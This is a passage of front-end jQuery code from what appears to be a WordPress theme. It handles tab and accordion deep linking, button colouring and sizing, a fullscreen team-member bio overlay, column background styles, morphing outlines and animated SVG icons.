						magicLineCalc($that.find('> ul > li:first-child > a'));
					}
				}, 100);
				
				
			});
			
			// Minimal alt resize event.
			if ( $('.tabbed[data-style="minimal_alt"]').length > 0 ) {
				$window.on('smartresize',function(){
					magicLineCalc($('.tabbed[data-style="minimal_alt"] > ul > li > a.active-tab'));
				});
				
			}
			
			
			tabbbedDeepLinking();
			
		}
		
		
		
		
		

		
		/**
		* Toggle Panels element deep linking.
		*
		* @since 3.0
		*/
		function accordionDeepLinking() {
			
			if (typeof nectarGetQueryParam['toggle'] != 'undefined') {
				$('.toggles').each(function () {
					
					$(this).find('.toggle').each(function () {
						var $currentText = $(this).find('h3 a').clone();
						var $getText = nectarGetQueryParam['toggle'];
						
						$($currentText).find('i').remove();
						$currentText = $currentText.text();
						$currentText = $currentText.replace(/\s+/g, '-').toLowerCase();
						$getText = $getText.replace(/\s+/g, '-').replace(/</g, '&lt;').replace(/"/g, '&quot;').toLowerCase();
						
						if ($currentText == $getText) {
							$(this).find('h3 a').trigger('click');
						}
					});
				});
			}
			
		}
		
		
		
		/**
		* Toggle Panels element initialization.
		*
		* @since 3.0
		*/
		function accordionInit() {
			
			// Regular toggle click event
			$body.on('click', '.toggle h3 a', function () {
				
				if (!$(this).parents('.toggles').hasClass('accordion')) {
					
					$(this).parents('.toggle')
						.find('> div')
						.slideToggle(300);
						
					$(this).parents('.toggle')
						.toggleClass('open');
					
					// Switch icon
					if ($(this).parents('.toggle').hasClass('open')) {
						$(this)
							.find('i')
							.attr('class', 'icon-minus-sign');
					} else {
						$(this)
							.find('i')
							.attr('class', 'icon-plus-sign');
					}
					
					if ($(this).parents('.toggle').find('> div .iframe-embed').length > 0 && 
					$(this).parents('.toggle').find('> div iframe.iframe-embed').height() == '0') {
						responsiveVideoIframes();
					}
					
					if ($(this).parents('.full-width-content').length > 0) {
						setTimeout(function () {
							fullWidthContentColumns();
						}, 300);
					}
					
					if ($('#nectar_fullscreen_rows').length > 0) {
						setTimeout(function () {
							$window.trigger('smartresize');
						}, 300);
					}
					return false;
				}
			});
			
			// Accordion click event
			$body.on('click', '.accordion .toggle h3 a', function () {
				
				if ($(this).parents('.toggle').hasClass('open')) {
					return false;
				}
				
				var $t;
				var $parentToggles  = $(this).parents('.toggles');
				var $parentToggle   = $(this).parents('.toggle');
				
				$parentToggles.find('.toggle > div').slideUp(300);
				$parentToggles.find('.toggle h3 a i').attr('class', 'icon-plus-sign');
				$parentToggles.find('.toggle').removeClass('open');
				$parentToggle.find('> div').slideDown(300);
				$parentToggle.addClass('open');
				
				// Switch icon
				if ($parentToggle.hasClass('open')) {
					$(this).find('i').attr('class', 'icon-minus-sign');
				} else {
					$(this).find('i').attr('class', 'icon-plus-sign');
				}
				
				if ($(this).parents('.full-width-content').length > 0) {
					clearTimeout($t);
					$t = setTimeout(function () {
						fullWidthContentColumns();
					}, 400);
				}
				if ($('#nectar_fullscreen_rows').length > 0) {
					clearTimeout($t);
					$t = setTimeout(function () {
						$window.trigger('smartresize');
					}, 400);
				}
				
				return false;
				
			});
			
			
			$('.accordion').each(function () {
				$(this).find('> .toggle').first().addClass('open').find('> div').show();
				$(this).find('> .toggle').first().find('a i').attr('class', 'icon-minus-sign');
			});
			
			
			$('.toggles').each(function () {
				
				var $isAccordion = ($(this).hasClass('accordion')) ? true : false;
				
				$(this).find('.toggle').each(function () {
					if ($(this).find('> div .testimonial_slider').length > 0 || $(this).find('> div iframe').length > 0) {
						var $that = $(this);
						$(this).find('> div').show().css({
							'opacity': 0,
							'height': '1px',
							'padding': '0'
						});
						
						for (var i = 0; i < $testimonialSliders.length; i++) {
							$testimonialSliders[i].testimonialHeightResize();
						}
						
						setTimeout(function () {
							$that.find('> div').hide().css({
								'opacity': 1,
								'height': 'auto',
								'padding': '10px 14px'
							});
							if ($isAccordion == true && $that.index() == 0) {
								$that.find('> div').slideDown(300);
							}
						}, 900);
					}
				});
				
			});
			
			accordionDeepLinking();
			
		}
		
		

		
		
		/**
		* Color hex to rgb
		*
		* @since 3.0
		*/
		function shadeColor(hex, lum) {
					
				// Validate hex string
				hex = String(hex).replace(/[^0-9a-f]/gi, '');
				if (hex.length < 6) {
					hex = hex[0] + hex[0] + hex[1] + hex[1] + hex[2] + hex[2];
				}
				lum = lum || 0;
				
				// Convert to decimal and change luminosity
				var rgb = "#",
				c, i;
				for (i = 0; i < 3; i++) {
					c = parseInt(hex.substr(i * 2, 2), 16);
					c = Math.round(Math.min(Math.max(0, c + (c * lum)), 255)).toString(16);
					rgb += ("00" + c).substr(c.length);
				}
				
				return rgb;
		}
						
			/**
			* Jumbo size 3D nectar button.
			*
			* @since 3.0
			*/	
			function createExtraJumboSize() {
				
				$('.nectar-3d-transparent-button').each(function () {
					
					if ($(this).css('visibility') != 'visible') {
						return;
					}
					
					var $that   = $(this),
					$size       = $that.attr('data-size'),
					$padding    = 0;
					
					var $vert_height_divider = 1.7;
					
					if ($size == 'extra_jumbo') {
						
						var $font_size;
						
						if (nectarDOMInfo.winW < 1000 && nectarDOMInfo.winW > 690) {
							$padding    = 64;
							$font_size  = 34;
							$that.find('.back-3d rect').attr('stroke-width', '12');
							$vert_height_divider = 1.7;
						} else if (nectarDOMInfo.winW <= 690) {
							$padding    = 46;
							$font_size  = 16;
							$that.find('.back-3d rect').attr('stroke-width', '10');
							$vert_height_divider = 1.7;
						} else {
							$padding    = 100;
							$font_size  = 64;
							$that.find('.back-3d rect').attr('stroke-width', '20');
							$vert_height_divider = 1.6;
						}
						
						
						$that.find('svg text').attr('font-size', $font_size);
						
						var $boundingRect = $(this).find('.back-3d .button-text')[0].getBoundingClientRect(),
						$text_width       = $boundingRect.width,
						$text_height      = $font_size * 1.5;
						
						$that.css({
							'width': ($text_width + $padding * 1.5) + 'px',
							'height': ($text_height + $padding) + 'px'
						});
						
						$that.find('> a').css({
							'height': ($text_height + $padding) + 'px'
						});
						
						$that.find('.back-3d svg, .front-3d svg').css({
							'width': ($text_width + $padding * 1.5) + 'px',
							'height': ($text_height + $padding) + 'px'
						}).attr('viewBox', '0 0 ' + ($text_width + $padding) + ' ' + ($text_height + $padding));
						
						$that.find('svg text').attr('transform', 'matrix(1 0 0 1 ' + ($text_width + $padding * 1.6) / 2 + ' ' + (($text_height + $padding) / $vert_height_divider) + ')');
						$that.find('.front-3d ').css('transform-origin', '50% 50% -' + ($text_height + $padding) / 2 + 'px');
						$that.find('.back-3d').css('transform-origin', '50% 50% -' + ($text_height + $padding) / 2 + 'px');
						
					}
					
				});
				
			}
				
				
			/**
			* Nectar Button custom coloring
			*
			* @since 3.0
			*/
			function coloredButtons() {

				$('.nectar-button.see-through[data-color-override], .nectar-button.see-through-2[data-color-override], .nectar-button.see-through-3[data-color-override]').each(function () {
					
					var $usingMaterialSkin = ($('body.material[data-button-style^="rounded"]').length > 0) ? true : false;
					$(this).css('visibility', 'visible');
					
					if ($(this).hasClass('see-through-3') && $(this).attr('data-color-override') == 'false') {
						return true;
					}
					
					var $color;
					var $that;
					
					if ($(this).attr('data-color-override') != 'false') {
						$color = $(this).attr('data-color-override');
					} else {
						
						if ($(this).parents('.dark').length > 0) {
							$color = '#000000';
						}	else {
							$color = '#ffffff';
						}
						
					}
					
					if (!$(this).hasClass('see-through-3')) {
						$(this).css('color', $color);
					}
					
					$(this).find('i').css('color', $color);
					
					var colorInt        = parseInt($color.substring(1), 16);
					var $hoverColor     = ($(this).has('[data-hover-color-override]')) ? $(this).attr('data-hover-color-override') : 'no-override';
					var $hoverTextColor = ($(this).has('[data-hover-text-color-override]')) ? $(this).attr('data-hover-text-color-override') : '#fff';
					
					var R = (colorInt & 0xFF0000) >> 16;
					var G = (colorInt & 0x00FF00) >> 8;
					var B = (colorInt & 0x0000FF) >> 0;
					
					var $opacityStr = ($(this).hasClass('see-through-3')) ? '1' : '0.75';
					
					$(this).css('border-color', 'rgba(' + R + ',' + G + ',' + B + ',' + $opacityStr + ')');
					
					// Material theme skin buttons w/ icons starting
					if ($usingMaterialSkin) {
						$(this).find('i').css({
							'background-color': 'rgba(' + R + ',' + G + ',' + B + ',1)',
							'box-shadow': '0px 8px 15px rgba(' + R + ',' + G + ',' + B + ',0.24)'
						});
					}
					
					if ($(this).hasClass('see-through')) {
						
						$that = $(this);
						
						$(this).on('mouseenter touchstart', function () {
							$that.css('border-color', 'rgba(' + R + ',' + G + ',' + B + ',1)');
						});
						
						$(this).on('mouseleave touchtouchend', function () {
							$that.css('border-color', 'rgba(' + R + ',' + G + ',' + B + ',1)');
							$opacityStr = ($(this).hasClass('see-through-3')) ? '1' : '0.75';
							$that.css('border-color', 'rgba(' + R + ',' + G + ',' + B + ',' + $opacityStr + ')');
						});
						
					} else {
						
						$(this).find('i').css('color', $hoverTextColor);
						
						if ($hoverColor != 'no-override') {
							
							$that = $(this);
							
							$(this).on('mouseenter touchstart', function () {
								
								$that.css({
									'border-color': $hoverColor,
									'background-color': $hoverColor,
									'color': $hoverTextColor
								});
								
								// Material buttons w/ icons over
								if ($usingMaterialSkin) {
									$that.find('i').css({
										'background-color': '',
										'box-shadow': ''
									});
								}
							});
							
							$(this).on('mouseleave touchtouchend', function () {
								
								$opacityStr = ($(this).hasClass('see-through-3')) ? '1' : '0.75';
								
								if ($usingMaterialSkin) {
									$that.find('i').css({
										'background-color': 'rgba(' + R + ',' + G + ',' + B + ',1)',
										'box-shadow': '0px 8px 15px rgba(' + R + ',' + G + ',' + B + ',0.24)'
									});
								}
								
								if (!$that.hasClass('see-through-3')) {
									$that.css({
										'border-color': 'rgba(' + R + ',' + G + ',' + B + ',' + $opacityStr + ')',
										'background-color': 'transparent',
										'color': $color
									});
								} else {
									$that.css({
										'border-color': 'rgba(' + R + ',' + G + ',' + B + ',' + $opacityStr + ')',
										'background-color': 'transparent'
									});
								}
								
							});

						} else {
							
							$that = $(this);
							
							$(this).on('mouseenter touchstart', function () {
								
								$that.css({
									'border-color': $hoverColor,
									'color': $hoverTextColor
								});
								
							});
							
							$(this).on('mouseleave touchtouchend', function () {
								
								$opacityStr = ($that.hasClass('see-through-3')) ? '1' : '0.75';
								$that.css({
									'border-color': 'rgba(' + R + ',' + G + ',' + B + ',' + $opacityStr + ')',
									'color': $hoverTextColor
								});
								
							});

						}
					}
				});
				
				$('.nectar-button:not(.see-through):not(.see-through-2):not(.see-through-3)[data-color-override]').each(function () {
					
					$(this).css('visibility', 'visible');
					
					if ($(this).attr('data-color-override') != 'false') {
						
						var $color = $(this).attr('data-color-override');

						$(this)
							.removeClass('accent-color')
							.removeClass('extra-color-1')
							.removeClass('extra-color-2')
							.removeClass('extra-color-3')
							.css('background-color', $color);
					}
					
				});
				
				
				// Solid color tilt 
				if ($('.swiper-slide .solid_color_2').length > 0 || $('.tilt-button-inner').length > 0) {
					
					var $tiltButtonCssString = '';
					var $color;
					
					$('.swiper-slide .solid_color_2 a').each(function (i) {
						
						$(this).addClass('instance-' + i);
						
						if ($(this).attr('data-color-override') != 'false') {
							$color = $(this).attr('data-color-override');
						} else {
							if ($(this).parents('.dark').length > 0) {
								$color = '#000000';
							}
							else {
								$color = '#ffffff';
							}
						}
						
						$(this).css('color', $color);
						$(this).find('i').css('color', $color);
						
						var $currentColor = $(this).css('background-color'),
						$topColor         = shadeColor($currentColor, 0.13),
						$bottomColor      = shadeColor($currentColor, -0.15);
						
						$tiltButtonCssString += '.swiper-slide .solid_color_2 a.instance-' + i + ':after { background-color: ' + $topColor + ';  }' + ' .swiper-slide .solid_color_2 a.instance-' + i + ':before { background-color: ' + $bottomColor + '; } ';
						
					});
					
					
					$('.tilt-button-wrap a').each(function (i) {
						
						$(this).addClass('instance-' + i);
						
						var $currentColor = $(this).css('background-color');
						var $color;
						
						if ($(this).attr('data-color-override') != 'false') {
							$color = $(this).attr('data-color-override');
							$(this).css('background-color', $color);
							$currentColor = $color;
						}
						
						var $topColor = shadeColor($currentColor, 0.13),
						$bottomColor  = shadeColor($currentColor, -0.15);
						
						$tiltButtonCssString += '.tilt-button-wrap a.instance-' + i + ':after { background-color: ' + $topColor + ';  }' + ' .tilt-button-wrap a.instance-' + i + ':before { background-color: ' + $bottomColor + '; } ';
						
					});
					
					// Style
					nectarCreateStyle($tiltButtonCssString, 'tilt-button');
					
				}
				
				
				// Transparent 3D
				if ($('.nectar-3d-transparent-button').length > 0) {
					
					var $3dTransButtonCssString = '';
					$('.nectar-3d-transparent-button').each(function (i) {
						
						var $that = $(this),
						$size 		= $that.attr('data-size'),
						$padding 	= 0,
						v1 				= 1.5,
						v2 				= 1.65,
						$font_size;
						
						// Size
						if ($size == 'large') {
							$padding 		= 46;
							$font_size 	= 16;
							v1 					= 1.5;
							v2 					= 1.7;
						} else if ($size == 'medium') {
							$padding 		= 30;
							$font_size 	= 16;
						} else if ($size == 'small') {
							$padding 		= 20;
							$font_size 	= 12;
						} else if ($size == 'jumbo') {
							$padding 		= 54;
							$font_size 	= 24;
							v1 					= 1.5;
							v2 					= 1.68;
						} else if ($size == 'extra_jumbo') {
							$padding 		= 100;
							$font_size 	= 64;
							v1 					= 1.6;
							v2 					= 1.6;
						}
						
						$that.find('svg text').attr('font-size', $font_size);
						
						var $boundingRect = $(this).find('.back-3d .button-text')[0].getBoundingClientRect(),
						$text_width       = $boundingRect.width,
						$text_height      = $font_size * 1.5;
						
						$that.css({
							'width': ($text_width + $padding * 1.5) + 'px',
							'height': ($text_height + $padding) + 'px'
						});
						
						$that.find('> a').css({
							'height': ($text_height + $padding) + 'px'
						});
						
						$that.find('.back-3d svg, .front-3d svg').css({
							'width': ($text_width + $padding * 1.5) + 'px',
							'height': ($text_height + $padding) + 'px'
						}).attr('viewBox', '0 0 ' + ($text_width + $padding) + ' ' + ($text_height + $padding));

						$that.find('svg text').attr('transform', 'matrix(1 0 0 1 ' + ($text_width + $padding * v1) / 2 + ' ' + (($text_height + $padding) / v2) + ')');
						$that.find('.front-3d, .back-3d').css('transform-origin', '50% 50% -' + ($text_height + $padding) / 2 + 'px');
						
						// Mask
						$(this).find('.front-3d svg > rect').attr('id', 'masked-rect-id-' + i);
						$(this).find('.front-3d defs mask').attr('id', 'button-text-mask-' + i);
						
						$that.css('visibility', 'visible');
						$3dTransButtonCssString += '#masked-rect-id-' + i + ' { mask: url(#button-text-mask-' + i + '); -webkit-mask: url(#button-text-mask-' + i + ')} ';
						
					});
					
					// Extra jumbo resize
					createExtraJumboSize();
					$window.on('smartresize', createExtraJumboSize);
					
					// Style
					nectarCreateStyle($3dTransButtonCssString, 'nectar-td-button');
					
				}
				
				// Gradient btn init
				setTimeout(function () {
					$('.nectar-button[class*="color-gradient"] .start').removeClass('loading');
				}, 150);
				// No grad for ff
				if (navigator.userAgent.toLowerCase().indexOf('firefox') > -1 || 
				navigator.userAgent.indexOf("MSIE ") > -1 || 
				navigator.userAgent.match(/Trident\/7\./)) {
					$('.nectar-button[class*="color-gradient"] .start').addClass('no-text-grad');
				}
			}
			
			
			
				
			/**
			* Shortcode icon large style
			*
			* @since 1.0
			*/
			function largeIconHover() {
				$('.icon-3x').each(function () {
					$(this).closest('.col').on('mouseenter', function () {
						$(this).find('.icon-3x').addClass('hovered');
					});
					
					$(this).closest('.col').on('mouseleave', function () {
						$(this).find('.icon-3x').removeClass('hovered');
					});
				});
				
				if (navigator.userAgent.indexOf("MSIE ") > -1 || navigator.userAgent.match(/Trident\/7\./)) {
					$('[class^="icon-"][class*="color-gradient"], .nectar_icon_wrap[data-color*="extra-color-gradient"] .nectar_icon, .nectar-gradient-text').addClass('no-grad');
				}
			}
			
			

				/**
				* Team member element - fullscreen style.
				*
				* @since 7.0
				*/
				function teamMemberFullscreen() {
					
					if ( $('.team-member').length === 0 ) {
						return;
					}
					
					// Open click event
					$body.on('click', '.team-member[data-style="bio_fullscreen"], .team-member[data-style="bio_fullscreen_alt"]', function () {
						
						if ($('.nectar_team_member_overlay').length > 0) {
							return;
						}
						
						var $usingBoxedClass  = ($('body > #boxed').length > 0) ? 'in-boxed' : '',
						$teamMemberMeta       = $(this).find('.nectar_team_bio').html(),
						$teamMemberTitle      = ($(this).is('[data-style="bio_fullscreen_alt"]')) ? $(this).find('.team-meta h5').html() : $(this).find('.team-meta p').html(),  
						$teamMemberImg        = ($(this).find('.nectar_team_bio_img[data-img-src]').length > 0) ? $(this).find('.nectar_team_bio_img').attr('data-img-src') : '',
						$teamMemberStyle      = ($(this).is('[data-style="bio_fullscreen_alt"]')) ? 'bio-fullscreen-alt' : 'bio-fullscreen',
						$teamName             = '';
						
						if($(this).is('[data-style="bio_fullscreen_alt"]')) {
							$teamName = '<div class="title">' + $teamMemberTitle + '</div><h2>' + $(this).find('.team-meta h3').html() + '</h2>';
						} else {
							$teamName = '<h2>' + $(this).find('.team-meta h3').html() + '</h2><div class="title">' + $teamMemberTitle + '</div>';
						}
						
						$body.append('<div class="nectar_team_member_overlay ' + $usingBoxedClass + '" data-style="' + $teamMemberStyle + '"><div class="inner-wrap"><div class="team_member_details"><div class="bio-inner"><span class="mobile-close"></span>'+ $teamName +'<div class="team-desc">' + $teamMemberMeta + '</div></div></div><div class="team_member_picture"><div class="team_member_image_bg_cover"></div><div class="team_member_picture_wrap"><div class="team_member_image"></div></div></div></div></div>');
						
						if ($teamMemberImg.length > 0) {
							
							// Fade in img on load
							var teamTmpImg = new Image();
							teamTmpImg.src = $teamMemberImg;
							teamTmpImg.onload = function () {
								$('.nectar_team_member_overlay .team_member_image').css('opacity', '1');
							};
							$('.nectar_team_member_overlay .team_member_image').css({
								'background-image': 'url("' + $teamMemberImg + '")'
							});
						}
						
						var $headerNavSpace = ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 0 : $headerOuterEl.height();
						$('.nectar_team_member_overlay .inner-wrap').css({
							'padding-top': $headerNavSpace
						});
						
						// No-scroll class - ios ready
						if ($('.using-mobile-browser').length > 0) {
							$('body,html').addClass('nectar-no-scrolling');
						}
						
						teamFullscreenResize();
						
						// Transition in
						$('.nectar_team_member_overlay')
							.addClass('open')
							.addClass('animating');
						
						setTimeout(function () {
							$('.nectar_team_member_close').addClass('visible');
							$('.nectar_team_member_overlay').removeClass('animating');
						}, 500);
						
						// Bind overflow
						if ($('.using-mobile-browser').length == 0) {
							fullscreenBioScrolling();
						}
						
						if ($('.team-member[data-style="bio_fullscreen"]').length > 0 && nectarDOMInfo.usingMobileBrowser) {
							$('.nectar_team_member_overlay').addClass('on-mobile');
						}
						
					});
					
					// Close click event
					$body.on('click', '.nectar_team_member_overlay', function () {
						
						if (!$(this).hasClass('animating')) {
							
							$('.nectar_team_member_overlay').removeClass('open');
							$('.nectar_team_member_close').removeClass('visible');
							
							if ($('.using-mobile-browser').length > 0) {
								$('body,html').removeClass('nectar-no-scrolling');
							}
							
							setTimeout(function () {

								$('.nectar_team_member_overlay, .nectar_team_member_close').remove();
								
							}, 820);
						}
					});
					
					if ($('.team-member[data-style="bio_fullscreen"]').length > 0 || $('.team-member[data-style="bio_fullscreen_alt"]').length > 0) {
						$window.on('resize', teamFullscreenResize);
						if( !nectarDOMInfo.usingMobileBrowser ) {
							var closeIndicator = new NectarIconMouseFollow('','close-indicator');
						}
						
					}

				}
				
				
				/**
				* Team member element fullscreen resize event.
				*
				* @since 7.0
				*/
				function teamFullscreenResize() {
					var $leftHeaderSize = ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 275 : 0;
					$('.nectar_team_member_overlay').css({
						'width': $window.width() - $leftHeaderSize,
						'left': $leftHeaderSize
					});
				}
				
				/**
				* Team member element fullscreen overflow scrolling event.
				*
				* @since 7.0
				*/
				function fullscreenBioScrolling() {
					$('.nectar_team_member_overlay .inner-wrap').mousewheel(function (event, delta) {
						this.scrollTop -= (delta * 30);
						event.preventDefault();
					});
					
				}
				

				
				/**
				* WPBakery column element BG hover
				*
				* @since 5.0
				*/
				function columnBGColors() {
					
					var $columnColorCSS = '';
					
					$('.wpb_column').each(function (i) {
						
						$(this).removeClass(function (index, className) {
							return (className.match(/(^|\s)instance-\S+/g) || []).join(' ');
						});
						
						$(this).addClass('instance-' + i);
						
						var $innerSelector = ( $(this).find('> .vc_column-inner > .column-bg-overlay-wrap').length > 0 || $(this).find('> .vc_column-inner > .column-bg-overlay').length > 0 ) ? ' > .vc_column-inner ' : '';
						var $innerWrapSelector = ( $(this).find($innerSelector + ' > .column-bg-overlay-wrap').length > 0 ) ? '> .column-bg-overlay-wrap ' : '';
						
						// BG color
						if ($(this).attr('data-has-bg-color') == 'true') {
							$columnColorCSS += '.wpb_column.instance-' + i + $innerSelector + $innerWrapSelector + ' > .column-bg-overlay { background-color:' + $(this).attr('data-bg-color') + ';  opacity: ' + $(this).attr('data-bg-opacity') + '; }';
						}
						
						// Hover bg color
						if ($(this).is('[data-hover-bg^="#"]')) {
							$columnColorCSS += '.wpb_column.instance-' + i + ':hover ' + $innerSelector + $innerWrapSelector + ' > .column-bg-overlay { background-color: ' + $(this).attr('data-hover-bg') + '!important; opacity: ' + $(this).attr('data-hover-bg-opacity') + '!important; }';
						}
					});
					
					// Style
					nectarCreateStyle($columnColorCSS, 'column-bg-colors');
					
				}
				


				/**
				* Displace filter column/row BG effect
				*
				* @since 10.5
				*/
				function nectarLiquidBGs() {
					$liquidBG_EL = [];
					
					if (typeof NectarLiquid == 'undefined' || nectarDOMInfo.usingFrontEndEditor) {
						return;
					}
					
					$('.row-bg-wrap[data-bg-animation*="displace-filter"] .row-bg.using-image, .column-image-bg-wrap[data-bg-animation*="displace-filter"] .column-image-bg').each(function (i) {
						
						var $that_el = $(this);
						var $type;
						var $el_type;
						
						if ($(this).is('.row-bg')) {
							$type = $(this).parents('.row-bg-wrap').attr('data-bg-animation');
							$el_type = 'row';
						} 
						else if ($(this).is('.column-image-bg')) {
							$type = $(this).parents('.column-image-bg-wrap').attr('data-bg-animation');
							$el_type = 'col';
						}
						
						$liquidBG_EL[i] = new NectarLiquid($that_el, $type, $el_type);
						
					});
				}
				
				
				
				/**
				* Morphing outline element creation.
				*
				* @since 5.0
				*/
				function morphingOutlines() {
					
					if ($('.morphing-outline').length > 0) {
						
						var $morphingOutlineCSS 	= '',
						$frontEndEditorMOSelector = ($('body.vc_editor').length > 0) ? '' : '>';
						
						$('.morphing-outline').each(function (i) {
							
							$(this).removeClass(function (index, className) {
								return (className.match(/(^|\s)instance-\S+/g) || []).join(' ');
							});
							
							$(this).addClass('instance-' + i).css({
								'visibility': 'visible'
							});
							
							var $width  = $(this).find('.inner').width(),
							$height     = $(this).find('.inner').height(),
							$border     = parseInt($(this).attr("data-border-thickness")),
							$hover      = ($('body[data-button-style*="rounded"]').length > 0) ? ':hover' : '',
							$hover2     = ($('body[data-button-style*="rounded"]').length > 0) ? '' : ':hover';
							
							$morphingOutlineCSS += 'body .morphing-outline.instance-' + i + ' .inner > * { color: ' + $(this).attr("data-starting-color") + '; } ';
							$morphingOutlineCSS += 'body .morphing-outline.instance-' + i + ' .inner:after  { border-width:' + $(this).attr("data-border-thickness") + 'px ; border-color: ' + $(this).attr("data-starting-color") + '; } ';
							
							$morphingOutlineCSS += 'body .wpb_column:hover > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner > *, body .wpb_column:hover > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner > * { color: ' + $(this).attr("data-hover-color") + '; } ';
							$morphingOutlineCSS += 'body .wpb_column:hover > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after, body .wpb_column:hover > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after  { border-color: ' + $(this).attr("data-hover-color") + '; } ';
						
							// Padding calcs
							$morphingOutlineCSS += 'body .wpb_column' + $hover2 + ' > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after, body .wpb_column' + $hover2 + ' > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after { padding: ' + (($width + 100 + $border * 2 - $height) / 2 - $border) + 'px 50px}';
							$morphingOutlineCSS += '.morphing-outline.instance-' + i + ' { padding: ' + (30 + ($width + 80 + $border * 2 - $height) / 2 - $border) + 'px 50px}'; 
							$morphingOutlineCSS += 'body .wpb_column' + $hover2 + ' > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after, body .wpb_column' + $hover2 + ' > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after { top: -' + parseInt((($width + 100 + $border * 2 - $height) / 2 - $border) + $border) + 'px }';
							
							$morphingOutlineCSS += 'body .wpb_column > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after, body .wpb_column > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after { left: -' + parseInt(50 + $border) + 'px }';
							
							// Hover
							$morphingOutlineCSS += 'body .wpb_column' + $hover + ' > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after, body .wpb_column' + $hover + ' > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after { padding: 50px 50px}';
							$morphingOutlineCSS += 'body .wpb_column' + $hover + ' > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after, body .wpb_column' + $hover + ' > .vc_column-inner > .wpb_wrapper ' + $frontEndEditorMOSelector + ' .morphing-outline.instance-' + i + ' .inner:after { top: -' + parseInt(50 + $border) + 'px }';
							
						});
						
						// Style
						nectarCreateStyle($morphingOutlineCSS, 'morphing-outlines');
						
					}
					
				}
				
				
				/**
				* Morphing outline element initialization.
				*
				* @since 5.0
				*/
				function morphingOutlinesInit() {
					
					if($('.morphing-outline').length > 0) {
						
						// Create style.
						setTimeout(morphingOutlines, 100);
						setTimeout(fullWidthContentColumns, 125);
						
						// Handle resize.
						$window.on('smartresize', morphingOutlines);
						
					}
					
				}
				
			

				
				/**
				* SVG icon element animations
				*
				* @since 6.0
				* @see waypoints
				*/
				function svgAnimations() {
					
					var $svgOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
					
					if ($svgIcons.length == 0) {
						
						$('.svg-icon-holder:not(.animated-in)').has('svg').each(function (i) {
							
							var $that = $(this);
							
							if (nectarDOMInfo.usingMobileBrowser) {
								$that.attr('data-animation', 'false');
							}
							// Size
							$that.find('svg').css({
								'height': parseInt($that.attr('data-size')) + 'px',
								'width': parseInt($that.attr('data-size')) + 'px'
							});
							
							// Animation
							$(this).find('svg').attr('id', 'nectar-svg-animation-instance-' + i);
							
							var $animationSpeed = ($that.is('[data-animation-speed]') && $that.attr('data-animation-speed').length > 0) ? $that.attr('data-animation-speed') : 200;
							
							if ($that.attr('data-animation') == 'false') {
								$animationSpeed = 1;
								$that.css('opacity', '1');
							}
							
							if (!$that.hasClass('bound')) {
								$svgIcons[i] = new Vivus($that.find('svg').attr('id'), {
									type: 'delayed',
									pathTimingFunction: Vivus.EASE_OUT,
									animTimingFunction: Vivus.LINEAR,
									duration: $animationSpeed,
									onReady: svgInit
								});
							}
							
							if ($animationSpeed !== 1) {
								
								var waypoint = new Waypoint({
									element: $that,
									handler: function () {
										if ($that.hasClass('animated-in')) {
											waypoint.destroy();
											return;
										}
										
										checkIfReady();
										$that.addClass('animated-in');
										waypoint.destroy();
									},
									offset: $svgOffsetPos
									
								});
								
							} else {
								checkIfReady();
							}
							
							function checkIfReady() {
								
								var $animationDelay = 0; 
								
								if($that.is('[data-animation-delay]') && 
								$that.attr('data-animation-delay').length > 0 && 
								$that.attr('data-animation') != 'false') {
									$animationDelay = $that.attr('data-animation-delay');
								}
								
								var $iconID = $that.find('svg').attr('id').replace(/[^0-9]/g, '');
								
								if ($svgIcons[$iconID].isReady == true) {
									setTimeout(function () {
										$that.css('opacity', '1');
										$svgIcons[$iconID].reset().play();
									}, $animationDelay);
								} else {
									setTimeout(checkIfReady, 50);
								}
							}
							
							function svgInit() {
								
								//set size
								$that.css({
									'height': parseInt($that.attr('data-size')) + 'px',
									'width': parseInt($that.attr('data-size')) + 'px'
								});
								
							}
							
							$that.addClass('bound');
							
						});
						

						// SVG in equal height column resize
						if ($('.vc_row-o-equal-height .svg-icon-holder[data-animation="true"]').length > 0 && 
						$('#nectar_fullscreen_rows').length == 0) {
							
							$window.on('smartresize', function () {
								clearTimeout($svgResizeTimeout);
								$svgResizeTimeout = setTimeout(function () {
									
									if ($svgIcons.length > 0) {
										$('.svg-icon-holder.animated-in').each(function () {
											
											$(this).css('opacity', '1');
											if ($(this).is('[id]')) {
												var $iconID = $(this).attr('id').replace(/[^0-9]/g, '');
												$svgIcons[$iconID].finish();
											}
											
										});
									}
									
								}, 300);
								
							});
							
						}
						
					} 
					
					// After svg animated icons initalized
					else {
						$('.svg-icon-holder').addClass('animated-in').css('opacity', '1');
					}
					
					// Full vc row support
					$('#nectar_fullscreen_rows .svg-icon-holder.animated-in').has('svg').each(function (i) {
						
						var $animationDelay = 0; 
						
						if($(this).is('[data-animation-delay]') && 
						$(this).attr('data-animation-delay').length > 0 && 
						$(this).attr('data-animation') != 'false') {
							$animationDelay = $(this).attr('data-animation-delay');
						}
						
						var $that = $(this);
						
						var $iconID = $that.find('svg').attr('id').replace(/[^0-9]/g, '');
						
						clearTimeout($animatedSVGIconTimeout[i]);
						
						if ($that.attr('data-animation') == 'false') {
							
							$that.css('opacity', '1');
